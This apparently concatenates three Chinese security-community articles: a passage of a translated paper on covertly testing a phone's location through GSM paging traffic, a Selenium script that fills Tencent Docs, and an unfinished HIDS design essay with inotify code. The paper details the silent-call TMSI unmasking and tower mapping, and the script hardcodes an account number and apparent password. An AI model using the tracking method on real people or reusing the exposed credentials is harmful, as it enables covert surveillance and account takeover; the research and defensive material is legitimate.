ARFCNs 列表的信息。我们的补丁程序记录了这些信息，当现场测试应用程序查询时是1赫兹，这样我们就可以将这些信息与另一个设备上的 GPS
坐标进行匹配。那部手机后来被用作受害者的手机，因为它允许我们用设备的 TMSI 检查我们的答案。
### B. 一般性观察
为了了解 PCCH 流量的总体趋势，我们在 T-Mobile 网络和 AT&T 网络上进行了一系列的捕获。24小时内的结果总结如下表所示。
接下来，我们测量了 PSTN 上的呼叫启动和 PCCH
上发出的寻呼信道请求之间的时间延迟。对于我们的40个电话样本，我们观察到平均延迟2.96秒，标准差为0.152。PSTN
呼叫启动和移动站上的实际环路之间的平均时延为8.8秒，标准差为4.5秒，中位数是7.0秒。我们还观察到，在 PSTN
呼叫启动后5.0秒之前中止呼叫，将导致设备上没有响铃或未接呼叫，但到那时，paging请求已发送。
### C. 在 PCCH 上观察到的信息
最常见的Paging请求是类型1，允许为每条消息寻呼一个或两个移动身份。我们观察到超过90% 的Paging请求没有标识;
这些在下图中没有绘出，因为他们不会到达设备。在 AT&T
网络上捕获超过48小时的传呼请求摘要见下图。我们观察到本地人活动的一般趋势是，白天时间流量高达每分钟150次寻呼，凌晨零时至上午六时流量低至每分钟10次寻呼。
通过 T-Mobile 的21小时截图，我们观察了同一 TMSI
的两次呼叫的时差模式。如下图所示，在大约200秒的时差之前，分布会急剧下降，在600秒的时差之后，分布会趋于平稳，超过这个时差，同一 TMSI
的两次呼叫就不可能出现。在51小时的 AT&T
实验中，传呼请求信息的流量速率(2.32/秒)远远超过即时分配信息的流量速率(0.554/秒)。很明显即时分配消息仅限于移动站向 ARFCN
(因此也限于移动电话发射塔)请求无线电资源。
## 0x04 Attack Description
### A. 威胁模型
攻击者首先需要能够主动地为受害者引入 PCCH
寻呼请求，这可以通过短信或使用任何电话线的呼叫启动来实现。为了提高定时准确性和更好地控制中止呼叫协议的时间，避免在受害者手机的应用层发出通知，普通固定电话线是首选。攻击者还要求能够被动地听广播
GSM PCCH 寻呼信道。我们对攻击者的能力描述如下:
* PSTN active: 攻击者通过拨打受害者的电话号码或给受害者发送短信，使寻呼请求信息出现在 GSM PCCH 上。
* GSM 被动: 攻击者是 PCCH 广播纯文本上的被动监听者。不需要破解加密算法，因为在 GSM 协议的无线资源(RR)设置阶段，我们只需要4条消息的开始序列。
### B. 当地的临时ID
蜂窝网络提供商必须跟踪移动用户的位置，至少是粗粒度的位置，以便有效地利用有限的无线资源。把一个大区域分隔成 n 个较小的地理区域，例如位置区号(LAC)
，并把广播讯息(包括传呼请求)平均定位于这些较小的区域，可把传呼流量减少至原来讯息数目的$\frac
{1}{n}$倍。如果我们知道他们唯一的ID，通过观察呼叫请求，我们可以知道受害者是否在那个区域。然而，这个ID(IMSI 或 TMSI)是 GSM
PCCH 上唯一可见的标识符，并且电话号码到 IMSI 或 TMSI 的内部系统映射事先不知道。
### C. 暴露身份
TMSI 只有在设备所在的 LAC 内才有意义。为了进行定位测试，我们需要显示 PSTN 电话号码和 GSM PCCH 上可见的 TMSI 之间的映射关系。
首先定义呼叫启动后候选 TMSIs 的可能集合，在 tmin ≤ t ≤ tmax
定义的时间窗内限制标识符。根据第三部分的初步测量，假设公用电话交换机呼叫完成与传呼请求讯息之间的延迟时间相等，我们根据经验确定总时间为2.50秒，总时间最长为3.42秒，以涵盖与平均值最多3个标准偏差的情况，即总时间正态分布为2.50秒。具体来说，我们将给定时间窗口中可能的
TMSIs 集合定义如下。
其中1≤ j < n，tmin =-3，tmax = 3，µ, σ在校准阶段（第3部分）是 PSTN 对寻呼请求延迟的平均和标准差。我们重复这个过程 n
次，收集 n 组可能的独特 TMSIs。我们在每次调用之间至少等待 td > tmax秒给系统一个重置的机会。然后我们计算所有集合的交集来提取少量可能的
TMSIs。我们注意到，根据寻呼信道流量模式和 TMSI 重新分配策略，可能会得到0或更多 TMSIs。我们已经观察到 TMSI
的任务往往持续几个小时，这使得我们很有可能获得至少一个短暂的 TMSI，这是在200秒左右。我们只需要一个 n 的小数字，通常是2或3来缩小精确的
TMSI。最后，为了使测试成功，攻击者必须能够听到受害者设备的寻呼请求。根据经验，T-Mobile LAC 747d
的覆盖面积超过100平方公里，并在该区域内的每个 BTS 重复所有传呼请求。
### D. 缺席测试
先前发现的一个自然延伸是缺席测试，以确定移动台是否不在该区域。得到的交集会产生一个空集。如果移动设备的缺失也表明用户的缺失，那么这些信息对攻击者来说也是有用的。从上面提到的显示
TMSI 的方法开始，假设 TMSI 在攻击测量期间不发生变化，我们以每次读取之间延迟一个 td 的时间间隔运行攻击 n 次，并重新获得 TMSI
集I1,I2,...,In。在这种情况下，如果 I1∩ I2∩ ... ∩ In = ∅，我们可以合理地得出结论，移动设备没有在当前 LAC
中注册，如果启动，设备在该区域之外。快速测试可以通过打电话完成。如果设备被关闭，电话会转到语音信箱的速度比设备响铃的速度快。
### E. 同一个 BTS 上的存在测试
一旦攻击者确定目标设备的 LAC 与他的相同，下一步就是确定设备是否在监听相同的 BTS。回忆一下，PCCH
下行链路载有传呼请求和即时分配讯息，但即时分配讯息中的识别项是由移动站选择，并以我们不知道的频道请求传送。因此，我们开发了一种技术，通过观察即时分配和触发寻呼请求之间的时间差，来确定我们是否与受害者在同一个塔上。
我们用 TMSI 监听了受害者手机的传呼请求，在我们观察 PCCH 上下一条即时分配信息之前，测量了时间延迟。我们检查了三种情况，试验台距离受害者10米:
1. 和受害者在同一个 ARFCN 上驻留，使用 PSTN 呼叫触发寻呼请求
2. 和受害者在不同的 ARFCN 上驻留，使用 PSTN 呼叫触发寻呼请求
3. 在任意的 ARFCN 上驻留，从随机时间开始取样 PCCH。
我们用 tp作为表示目标设备的寻呼请求的时间戳，用 ta表示下一个即时分配消息的时间戳。我们要比较以上的3个测试用例的时间差 δt = ta-tp 。
对于每个测试，在第一种情况下，样本容量为46，我们观察到平均时间差 t = 0.177秒，标准差 t = 0.0572。在第二种情况下，当我们收听另一个
ARFCN 时，样本容量为43，我们观察到 t = 1.99秒，标准差 t = 3.42。最后，在样本量为40的第三个例子中，我们在 ARFCN 上随机取样
PCCH，观察到 t = 0.517秒，标准差 t = 0.582。结果如下图所示。
我们的目标是能够区分，我们在同一座 ARFCN 塔上的情况，和我们在同一个 LAC
但在不同塔上的情况。假设我们和受害者在同一个信号塔上，我们会听到那个设备的即时分配信号，这个信号会在很接近寻呼请求的时候发出，以便提供快速服务。因此，我们设置了如下的零假设:
µs = µd，µs = µr，其中
* µs测试条件1(同塔)的平均时间差
* µd测试条件2(不同塔台)的平均时间差
* µr测试条件3(随机)的平均时间差
为了比较我们的测试所得到的时间差异，我们使用韦尔奇两个样本 t-test，对小样本和不同分布的总体是稳健的。结果如下。比较µs和 µd得到了 p
值0.001199。比较µs和 µr得到的 p
值是0.0006942。这两个结果都表明，找到一个测试统计数据同样或更极端是非常不可能的。因此我们可以用如此低的 p
值来拒绝两个零假设。因此，我们的结论是，可能存在一个有意义的差异，使我们能够通过查看寻呼请求和即时分配消息的到达时间，区分在同一个 ARFCN
上收听或在不同的 ARFCN 上收听的情况。
### F. 移动物体
我们证实了我们的身份识别方法，对于平均时速105公里穿过一个LAC
的设备是有效的。设备在同一个LAC里停留了8分钟，我们只用了2分钟就显示了TMSI。很明显，我们的”同一个塔”测试，不适用于快速移动的物体。移动电台倾向于驻留在同一个
ARFCN 上，直到它们移动超过1公里。我们的测试需要每个 ARFCN 5秒钟完成。根据不同的区域，可能有3到5个 ARFCNs 具有足够高的 RSSI
值来测试。因此，如果受害者在塔的1公里范围内逗留几分钟，我们的攻击就会成功。如果受害者的物理路径是已知的，也可以预测受害者在经过一段时间后会在哪里。
## 0x05 Carrying Out The Attack In Practice
我们需要了解 LACs
的地理覆盖范围，以及基站的分布情况。我们绘制了紫外线辐射区域的地图，采集了目标的紫外线辐射区域周围的样本数据，结果覆盖了大约100平方公里的区域。在那个
LAC，我们绘制了一个小得多的区域，来确定信号塔的位置和每个 ARFCN 对这些信号塔的覆盖范围。
### A. 测绘 LAC
我们用打了补丁的 T-Mobile G1手机来记录来自基带的 GSM 信息，还有 GPS 追踪我们在 LAC 747d
的位置。然后我们沿着一堵近似的墙走，在道路允许的情况下，把 LAC 747d 的边缘当作一堵墙。如下图，与 LAC 747d
对应的区域是灰色的。该地区北部的红线长约10公里。整个区域面积超过100平方公里。
### B. 信号塔位置
因为我们能进行的最高粒度的测试，就是确定我们在同一个塔上，精确地知道那个塔的位置很重要。我们使用爬山法，目标是最大限度地提高射频领域的目标塔。我们用修改过的
G1来进行场强的点测量，然后我们沿着经典爬山算法的变体进入场地，我们超过最大点50米或更多，然后回溯到垂直方向，以确保我们不会因为不均匀的射频信号衰减而陷入局部极小值。下图显示了我们爬山的例子，以及检测到的手机信号塔的结果。
### C. 测绘塔和 ARFCNs
接下来，我们要在移动站切换到另一个信号塔之前确定一个信号塔与它之间的距离。这一次，我们沿着目标区域的，每一个街区行进。我们记录了5个最强的 RSSI
和相应的 ARFCNs。下图显示了使用上述爬山法对3个 RSSI 值最高的 ARFCNs 以及推断出的手机塔的结果。
一个移动站将尝试在最高的 RSSI 的 ARFCN
上驻留。因此我们确定受害者很可能在它所连接的信号塔周围1平方公里的范围内，这取决于我们调查区域内的信号衰减。我们还注意到有几个地区，我们可以在多个
ARFCNs
上驻留。因此，攻击者可以一次检查多个塔，而受害者必须接近塔。在这个特殊的实验中，一个实验台能够在一个地点监控所有3座塔，占2.5×2.5公里的总面积。
### D. 无声水印暴露 TMSI
为了避免检测，需要引发一个带有目标 TMSI
的寻呼请求，而不会在移动站上引起任何用户可观察到的副作用。我们的方法是从公众电话号码发起一个常规电话，在移动站响起第一声之前中止通话。已知从 PSTN
上的呼叫启动到 PCCH
上的寻呼请求出现之间的时间延迟平均约为2.94秒，在中位数情况下，设备上的实际环路需要约7.0秒。另外5秒内挂断电话，可以避免设备响铃。因此，我们可以安全地在4秒钟后挂断，以便在不通知用户的情况下，悄悄地发出寻呼请求和即时分配消息。
## 0x06 Mitigations
### A. 呼叫多个LAC
服务提供商会尽量限制有限的无线电资源的消耗。因此，在寻找设备时，它只会在设备最可能位置的地方寻呼
LAC。然而，这使得缺席测试成为可能。显然，对所有设备的所有 LACs 进行呼叫是非常浪费的。因此，我们建议只在设备大部分时间出现的地方寻呼一组 LACs。
### B. 频繁的 TMSI 变化和 TMSI 分配
TMSI 的部分目标是隐藏来自 PSTN 和 PCCH 的消息之间的对应关系。
在编号、寻址和识别规范条款中的 GSM 规范除了防止使用0xffffffff 之外，并没有为 TMSI 规定特定的结构。因此，操作员可以自由选择 TMSI
的值，因为它只与 VLR 相关。通过对 AT&T 网络51小时的观察，我们发现使用 TMSIs 的211,094个寻呼请求中，只有59,329个独立
TMSIs，所以 TMSI 平均被重用3.56次。很明显， TMSI 有232-1的可能性，仍然有足够的空间分配 TMSI。对于那个 AT&T 网络，大多数
TMSIs 的值都在0x90000000以上，大部分在0xbe000000到0xfb0000000之间。
我们对 TMSIs 的攻击之所以有效，是因为与两次通话之间的短延迟相比，TMSI 的分配时间较长。通过使 TMSI
分配的时间短于两个呼叫之间的时间延迟，TMSI 现在变得无法识别。也可以在成功接收到一个寻呼后进行重新分配。
### C. 连续时间混合应用到 PCCH
即使电话号码和 TMSIs
之间按位不连接，仍然有可能应用流量分析技术来确定概率，如果我们看到的Paging是由我们的呼叫造成的，特别是在安静时期。在流量率较低的情况下，满足 tmin
≤ tTMSI ≤ tmax 不等式的候选 TMSI 集非常小。
为了防止所讨论的基于时间的流量分析，我们建议在 BTS 上延迟发出的寻呼请求消息。考虑到 TMSI
分配空间利用率很低，在低流量条件下，可以通过引入由包含未指定 TMSIs
的诱骗paging组成的覆盖流量来提高到达率。通过将总流量保持在150页/分钟以上，即使对于小时延参数µ≥2，也可以保持高匿名性。
## 0x07 Conclusion
我们已经证明有足够的信息从 GSM
通信栈的底层泄漏，使攻击者能够对受害者的设备进行位置测试。我们已经展示了这些测试可以在用户不知道的情况下悄悄执行，方法是在测试完成之前中止 PSTN
调用。我们最后提出了一些解决方案，通过应用低成本的技术，具有良好的匿名性能的 GSM 栈，而无需硬件改造。 | 社区文章 |
# python实现腾讯在线文档的修改
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x01 前言
腾讯在线文档是非常方便的软件，可以自定义等等。如果想自动打开，或大量修改数据可以使用python脚本实现。以前腾讯在线文档域名会有&c=XX，点击那个单元格会更改为单元格的行列，但腾讯文档的更新使域名中不会出现这个后缀，造成不能使用后缀进行更改单元格内容了，于是google了以下，发现python使用模拟鼠标键盘行为依然可以实现对腾讯在线文档的修改，于是开始设计脚本。
## 0x02 功能介绍
Tide安全团队的小伙伴每天都会把自己的学习过程及学习成功更新到语雀中，lmn设计的一个小程序可以每天获取一次当天在某个语雀知识库中的更新文章，<https://www.yuque.com/tidesec/wiki/gku6k7>
为了方便对文章进行整理，dream实现了将文章更新到腾讯在线文档中的脚本。
Tide安全团队Wiki知识库：<https://www.yuque.com/tidesec>
## 0x03 功能实现
第一个功能对腾讯文档进行更新内容，因为lmn在语雀整理文章时已经写入txt文本文档中，我直接读取文本文档即可。
在读取txt到list中，会出现\n和空行的出现，在输入腾讯文档时能造成错误。
于是在读入list中将\n进去去除，先去除文件内的空行。
def txt_os():
file1 = open(‘wiki.txt’, ‘r’, encoding=’utf-8′) # 打开要去掉空行的文件,这里的文件改成语雀脚本生成的文件
file2 = open(‘wiki2.txt’, ‘w’, encoding=’utf-8′) # 生成没有空行的文件
for line in file1.readlines(): #去除空行
if line == ‘\n’:
line = line.strip(“\n”)
file2.write(line) #输出到新文件中
print(‘输出成功….’)
file1.close()
file2.close()
然后将list每个元素后面的\n进行去除。
def txt_to_list():
file = open(“wiki2.txt”,”r”,encoding=’utf-8′) #这里的文件对应txt_os中生产的文件
list = file.readlines()
list = [x.strip() for x in list if x.strip() != ”] #去除行中的回车
print(list)
return list #返回列表
这里返回list是为了腾讯文档的函数中进行读取。
对腾讯文档进行修改的话，需要使用chromedriver。
下载地址https://registry.npmmirror.com/binary.html?path=chromedriver
先进行qq的登陆，使用python进行模拟鼠标点击和键盘输入。
find_element_by_id中的都为按钮或div的名字，在f12中可以搜到，这样就可以对元素进行定位了。
def tx_write():
list = txt_to_list()
driver =
webdriver.Chrome(‘C:\\\Users\\\missm\\\AppData\\\Local\\\Google\\\Chrome\\\Application\\\chromedriver.exe’)
#启动chrome的地址，需要下载chromedriver文件，下载地址https://registry.npmmirror.com/binary.html?path=chromedriver
driver.get(“XXXXXXXXXXXXXXXXXXXXXXXXXXXXX”)#填写表的地址
time.sleep(4)
driver.find_element_by_id(“blankpage-button-pc”).click() #点击登陆按钮
time.sleep(3)
driver.find_element_by_id(“qq-tabs-title”).click() #点击QQ登陆
driver.implicitly_wait(10)
driver.switch_to.frame(“login_frame”)
try:
driver.find_element_by_id(“img_out_3458589503”).click()
#这里的qq号改为快捷登陆的qq号，img_out_不用改，只改数字
print(“快捷登录成功”)
except:
driver.find_element_by_id(“switcher_plogin”).click()
time.sleep(1)
# 会跳出输入手机令牌来，建议使用快捷登陆
driver.find_element_by_id(“u”).send_keys(“qq号”) # 改为使用用户名密码登陆的qq
driver.find_element_by_id(“p”).send_keys(“qq密码”) # 改为使用用户名密码登陆的密码
driver.find_element_by_id(“login_button”).click()
print(“账号登录成功”)
time.sleep(5)
# 转换frame
driver.switch_to.parent_frame()
#登入账号,用快速登入的功能,前提,已经电脑qq登入了
#driver.switch_to.parent_frame()
time.sleep(1)
driver.maximize_window()
time.sleep(1)
driver.find_element_by_xpath(‘//*[@id=”canvasContainer”]/div[1]/div[2]’).click()
time.sleep(0.5)
然后对腾讯文档进行添加。
j = 0 #使用变量来定位列表
for i in range(int(len(list)/7)): #使用列表的元素数来定义循环次数，7个为一组
# 移动到网址一列
driver.find_element_by_id(‘alloy-simple-text-editor’).send_keys(Keys.HOME)
driver.find_element_by_id(‘alloy-simple-text-editor’).send_keys(Keys.CONTROL,
Keys.UP)
driver.find_element_by_id(‘alloy-simple-text-editor’).send_keys(Keys.ENTER)
driver.find_element_by_id(‘alloy-simple-text-editor’).send_keys(Keys.ENTER)
driver.find_element_by_id(‘alloy-simple-text-editor’).send_keys(Keys.TAB)
driver.find_element_by_id(‘alloy-simple-text-editor’).send_keys(Keys.TAB)
# 判断文章网址是否相同，单元格是否为空格
for i in range(99999):
b = list[j+2]
a = driver.find_element_by_xpath(‘//*[@id=”alloy-simple-text-editor”]’).text
#获取网址
if a == b[5:]: #比对网址是否相同，相同则跳出循环
j = j + 7 #如果网址相同，则j+7后跳出循环
break
if a != ”: #判断单元格是否为空，为空则跳出循环
driver.find_element_by_id(‘alloy-simple-text-editor’).send_keys(Keys.ENTER)
else:
break
if a == b[5:]: #判断单元格是否为网址，如果为网址则跳出循环，进入下一次循环
continue
# 以下的的信息填写为自己的信息即可，你有多少列信息，就重复多少次
driver.find_element_by_id(‘alloy-simple-text-editor’).send_keys(Keys.HOME)
#先跳到第一列
driver.find_element_by_id(‘alloy-simple-text-editor’).click() #模拟鼠标点击
s =
driver.find_element_by_xpath(‘/html/body/div[3]/div/div[4]/div[2]/div/div/div[1]/div/div/div[1]/div[1]’).text
#获取此行的行数
a = s[1:] #将A**去除A，留下数字
a = int(a) #对数字进行转int型
a = a – 2 #如果你的排序为行的相差则减去几即可
# 编号
str(a)
driver.find_element_by_id(‘alloy-simple-text-editor’).send_keys(a) #输出a以形成序号
driver.find_element_by_id(‘alloy-simple-text-editor’).send_keys(Keys.TAB)
#进入下一个单元格
driver.find_element_by_id(‘alloy-simple-text-editor’).click() #模拟鼠标点击
# 题目
b = list[j+1] #将list第j+1个元素赋值给b
driver.find_element_by_id(‘alloy-simple-text-editor’).send_keys(b[5:])
#对b进行切割，输出b中第5个字符之后的字符
driver.find_element_by_id(‘alloy-simple-text-editor’).send_keys(Keys.TAB)
#进入下一个单元格
driver.find_element_by_id(‘alloy-simple-text-editor’).click() #模拟鼠标点击
# 地址
c = list[j+2]
driver.find_element_by_id(‘alloy-simple-text-editor’).send_keys(c[5:])
driver.find_element_by_id(‘alloy-simple-text-editor’).send_keys(Keys.TAB)
driver.find_element_by_id(‘alloy-simple-text-editor’).click()
# 所属wiki
d = list[j+3]
driver.find_element_by_id(‘alloy-simple-text-editor’).send_keys(d[7:])
driver.find_element_by_id(‘alloy-simple-text-editor’).send_keys(Keys.TAB)
driver.find_element_by_id(‘alloy-simple-text-editor’).click()
# 更新时间
e = list[j+4]
driver.find_element_by_id(‘alloy-simple-text-editor’).send_keys(e[5:16])
driver.find_element_by_id(‘alloy-simple-text-editor’).send_keys(Keys.TAB)
driver.find_element_by_id(‘alloy-simple-text-editor’).click()
# 创建时间
f = list[j+5]
driver.find_element_by_id(‘alloy-simple-text-editor’).send_keys(f[5:16])
driver.find_element_by_id(‘alloy-simple-text-editor’).send_keys(Keys.TAB)
driver.find_element_by_id(‘alloy-simple-text-editor’).click()
# 文章作者
g = list[j+6]
driver.find_element_by_id(‘alloy-simple-text-editor’).send_keys(g[5:])
driver.find_element_by_id(‘alloy-simple-text-editor’).send_keys(Keys.TAB)
driver.find_element_by_id(‘alloy-simple-text-editor’).click()
j = j + 7;
time.sleep(1)
print(‘输入成功’)
添加成功。
## 完整代码如下：
# -*- coding: utf-8 -*- 不统计只输入脚本
# 需要修改的:10行的文件名；36行的chrome地址；37行的表地址；47行的qq号；54和55行用户名密码
import os
import time
from selenium import webdriver
from selenium.webdriver.common.keys import Keys
# 去除txt文档中的空格行
def txt_os():
file1 = open(‘wiki.txt’, ‘r’, encoding=’utf-8′) # 打开要去掉空行的文件,这里的文件改成语雀脚本生成的文件
file2 = open(‘wiki2.txt’, ‘w’, encoding=’utf-8′) # 生成没有空行的文件
for line in file1.readlines(): #去除空行
if line == ‘\n’:
line = line.strip(“\n”)
file2.write(line) #输出到新文件中
print(‘输出成功….’)
file1.close()
file2.close()
# 将txt文件读入列表去除行中的回车
def txt_to_list():
file = open(“wiki2.txt”,”r”,encoding=’utf-8′) #这里的文件对应txt_os中生产的文件
list = file.readlines()
list = [x.strip() for x in list if x.strip() != ”] #去除行中的回车
print(list)
return list #返回列表
def tx_write():
list = txt_to_list()
driver =
webdriver.Chrome(‘C:\\\Users\\\missm\\\AppData\\\Local\\\Google\\\Chrome\\\Application\\\chromedriver.exe’)
#启动chrome的地址，需要下载chromedriver文件，下载地址https://registry.npmmirror.com/binary.html?path=chromedriver
driver.get(“https://docs.qq.com/sheet/DUmJmaG9ma2JtTWhE?tab=BB08J2”)#填写表的地址
time.sleep(4)
driver.find_element_by_id(“blankpage-button-pc”).click() #点击登陆按钮
time.sleep(3)
driver.find_element_by_id(“qq-tabs-title”).click() #点击QQ登陆
driver.implicitly_wait(10)
driver.switch_to.frame(“login_frame”)
try:
driver.find_element_by_id(“img_out_3458589503”).click()
#这里的qq号改为快捷登陆的qq号，img_out_不用改，只改数字
print(“快捷登录成功”)
except:
driver.find_element_by_id(“switcher_plogin”).click()
time.sleep(1)
# 会跳出输入手机令牌来，建议使用快捷登陆
driver.find_element_by_id(“u”).send_keys(“2064662418”) # 改为使用用户名密码登陆的qq
driver.find_element_by_id(“p”).send_keys(“mhw1724282931”) # 改为使用用户名密码登陆的密码
driver.find_element_by_id(“login_button”).click()
print(“账号登录成功”)
time.sleep(5)
# 转换frame
driver.switch_to.parent_frame()
#登入账号,用快速登入的功能,前提,已经电脑qq登入了
#driver.switch_to.parent_frame()
time.sleep(1)
driver.maximize_window()
time.sleep(1)
driver.find_element_by_xpath(‘//*[@id=”canvasContainer”]/div[1]/div[2]’).click()
time.sleep(0.5)
####################################################################################
j = 0 #使用变量来定位列表
for i in range(int(len(list)/7)): #使用列表的元素数来定义循环次数，7个为一组
# 移动到网址一列
driver.find_element_by_id(‘alloy-simple-text-editor’).send_keys(Keys.HOME)
driver.find_element_by_id(‘alloy-simple-text-editor’).send_keys(Keys.CONTROL,
Keys.UP)
driver.find_element_by_id(‘alloy-simple-text-editor’).send_keys(Keys.ENTER)
driver.find_element_by_id(‘alloy-simple-text-editor’).send_keys(Keys.ENTER)
driver.find_element_by_id(‘alloy-simple-text-editor’).send_keys(Keys.TAB)
driver.find_element_by_id(‘alloy-simple-text-editor’).send_keys(Keys.TAB)
# 判断文章网址是否相同，单元格是否为空格
for i in range(99999):
b = list[j+2]
a = driver.find_element_by_xpath(‘//*[@id=”alloy-simple-text-editor”]’).text
#获取网址
if a == b[5:]: #比对网址是否相同，相同则跳出循环
j = j + 7 #如果网址相同，则j+7后跳出循环
break
if a != ”: #判断单元格是否为空，为空则跳出循环
driver.find_element_by_id(‘alloy-simple-text-editor’).send_keys(Keys.ENTER)
else:
break
if a == b[5:]: #判断单元格是否为网址，如果为网址则跳出循环，进入下一次循环
continue
# 以下的的信息填写为自己的信息即可，你有多少列信息，就重复多少次
driver.find_element_by_id(‘alloy-simple-text-editor’).send_keys(Keys.HOME)
#先跳到第一列
driver.find_element_by_id(‘alloy-simple-text-editor’).click() #模拟鼠标点击
s =
driver.find_element_by_xpath(‘/html/body/div[3]/div/div[4]/div[2]/div/div/div[1]/div/div/div[1]/div[1]’).text
#获取此行的行数
a = s[1:] #将A**去除A，留下数字
a = int(a) #对数字进行转int型
a = a – 2 #如果你的排序为行的相差则减去几即可
# 编号
str(a)
driver.find_element_by_id(‘alloy-simple-text-editor’).send_keys(a) #输出a以形成序号
driver.find_element_by_id(‘alloy-simple-text-editor’).send_keys(Keys.TAB)
#进入下一个单元格
driver.find_element_by_id(‘alloy-simple-text-editor’).click() #模拟鼠标点击
# 题目
b = list[j+1] #将list第j+1个元素赋值给b
driver.find_element_by_id(‘alloy-simple-text-editor’).send_keys(b[5:])
#对b进行切割，输出b中第5个字符之后的字符
driver.find_element_by_id(‘alloy-simple-text-editor’).send_keys(Keys.TAB)
#进入下一个单元格
driver.find_element_by_id(‘alloy-simple-text-editor’).click() #模拟鼠标点击
# 地址
c = list[j+2]
driver.find_element_by_id(‘alloy-simple-text-editor’).send_keys(c[5:])
driver.find_element_by_id(‘alloy-simple-text-editor’).send_keys(Keys.TAB)
driver.find_element_by_id(‘alloy-simple-text-editor’).click()
# 所属wiki
d = list[j+3]
driver.find_element_by_id(‘alloy-simple-text-editor’).send_keys(d[7:])
driver.find_element_by_id(‘alloy-simple-text-editor’).send_keys(Keys.TAB)
driver.find_element_by_id(‘alloy-simple-text-editor’).click()
# 更新时间
e = list[j+4]
driver.find_element_by_id(‘alloy-simple-text-editor’).send_keys(e[5:16])
driver.find_element_by_id(‘alloy-simple-text-editor’).send_keys(Keys.TAB)
driver.find_element_by_id(‘alloy-simple-text-editor’).click()
# 创建时间
f = list[j+5]
driver.find_element_by_id(‘alloy-simple-text-editor’).send_keys(f[5:16])
driver.find_element_by_id(‘alloy-simple-text-editor’).send_keys(Keys.TAB)
driver.find_element_by_id(‘alloy-simple-text-editor’).click()
# 文章作者
g = list[j+6]
driver.find_element_by_id(‘alloy-simple-text-editor’).send_keys(g[5:])
driver.find_element_by_id(‘alloy-simple-text-editor’).send_keys(Keys.TAB)
driver.find_element_by_id(‘alloy-simple-text-editor’).click()
j = j + 7;
time.sleep(1)
print(‘输入成功’)
driver.close()
if __name__ == “__main__”:
txt_os()
txt_to_list()
tx_write() | 社区文章 |
## Author：elknot@360corpsec
## Support: 二惑@360corpsec
广告位招租
* * *
安全部门确实是消防队的，但至少有一部分应该是检查灭火器位置放没放对且是否失效，报警装置能不能用。如果一个消防队全是外勤，那么可能就真的跟《全境封锁》里面的消防队一样了。——题记
这两天摊上了个头痛的问题，如何去做基于主机端的入侵检测，结果我在翻github的时候遇到一个OSSIM下面的一个OSSIC
HIDS平台，是趋势科技开出来的，于是便研究了一下。但是由于本人C++很弱（确切来说是编程能力很弱，曾经被某面试官喷不懂for循环），所以我决定自己研究下这个东西到底是啥。
p.s. 这个也是我去年去滴滴面试的时候面试官问我的问题，当时因为自己比较菜，所以没回答全，但是今年由于自己有了对这些东西的理解，算是可以写出点东西来。
## 0x00 HIDS有用么
答曰：有用，用处在于更好地监控服务器的状态。
HIDS平台建设其实分为三大部分：终端Agent监控组件，Dashboard控制面板和与SIEM、运维数据等其他平台对接的接口集合。
终端Agent组件：可以简单理解为就是一个后门（他真的是一个后门），主要作用包括：监控文件变更、监控服务器状态、下发一些操作指令等。
DashBoard：用来执行一些策略推送、资源管理方面的操作
MQ && Servers：用来做负载均衡并吞吐数据到数据库
Database：数据库
SIEM APIs：用来将HIDS的数据和SIEM做整合
具体的话就上个图吧：
粗略的画了个架构，如下图：
先来说一下想法：终端Agent通过对业务IT资产文件的监控可以发现一些潜在威胁的文件或者是被人中的webshell后门，也可以记录和发现文件改动。同时终端Agent肩负着把日志摆渡到数据库的工作，方便运维人员对日志进行检索，进行终端日志的统一化收集管理。这个时候Agent的工作已经结束了，Agent需要的操作通过消息队列（这里技术选型可以考虑memcached/redis/kafka等组件，需根据自身需求做决定，图片中选择kafka）和负载均衡把数据传到Agent
Server
Cluster中，之后Server中的数据写入MongoDB的数据库集群做的储存，到这里完成了数据的保存工作。接下来进行第二阶段的工作也就是数据分析，首先需要从MongoDB集群中读取数据放到Spark中进行分析，但是在入Spark之前需要使用Kafka进行数据清洗，防止畸形数据进入分析，分析完了之后使用ElasticSearch集群进行日志的检索，最后导入DashBoard进行可视化展示，除此之外，在经历过ES集群之后，也可以直接接入TensorFlow分析一些看似正常的行为是不是攻击（这里需要大量的模型提交到TensorFlow进行学习训练，才能投入，如果没这个条件可以在前面Spark中做攻击行为的正则），最后提交到DashBoard做威胁可视化展示。第三部分就是Agent命令分发，这里安全运营工程师通过DashBoard直接向Agent批量下发命令，中间需要经过消息队列（也就是Kafka）进行任务的分发，完成批量的策略部署。
## 0x01 详细模块设计
### 1\. Agent模块设计
实际上Agent这边需要一个比较大的权限，而且Agent端其实就是一个权限很大的后门，通过上面的架构，我们大概能看出来Agent主要的作用有五个：文件监控、进程/任务监控、日志摆渡、策略推送和补丁推送，Agent这边的东西其实越轻量化越好，由于性能等诸多因素限制，Agent端不能占用太多的计算资源，在设置时要注意资源红线的设计，所以建议用C/C++开发。
#### a.文件监控
文件监控这部分其实相对容易实现，这部分主要监测设备插入和拔出以及业务系统文件监控，这里需要说到一个小东西：inortify。inotify
是一种文件系统的变化通知机制，如文件增加、删除等事件可以立刻让用户态得知，该机制是著名的桌面搜索引擎项目 beagle 引入的，并在 Gamin
等项目中被应用。
inortify具体的代码原理和实现我就不说了，这里先用一个简单的C代码去实现一个简单的文件监控：
#include <linux/unistd.h>
#include <linux/inotify.h>
#include <errno.h>
_syscall0(int, inotify_init)
_syscall3(int, inotify_add_watch, int, fd, const char *, path, __u32, mask)
_syscall2(int, inotify_rm_watch, int, fd, __u32, mask)
char * monitored_files[] = {
"./tmp_file",
"./tmp_dir",
"/mnt/sda3/windows_file"
};
struct wd_name {
int wd;
char * name;
};
#define WD_NUM 3
struct wd_name wd_array[WD_NUM];
char * event_array[] = {
"File was accessed",
"File was modified",
"File attributes were changed",
"writtable file closed",
"Unwrittable file closed",
"File was opened",
"File was moved from X",
"File was moved to Y",
"Subfile was created",
"Subfile was deleted",
"Self was deleted",
"Self was moved",
"",
"Backing fs was unmounted",
"Event queued overflowed",
"File was ignored"
};
#define EVENT_NUM 16
#define MAX_BUF_SIZE 1024
int main(void)
{
int fd;
int wd;
char buffer[1024];
char * offset = NULL;
struct inotify_event * event;
int len, tmp_len;
char strbuf[16];
int i = 0;
fd = inotify_init();
if (fd < 0) {
printf("Fail to initialize inotify.\n");
exit(-1);
}
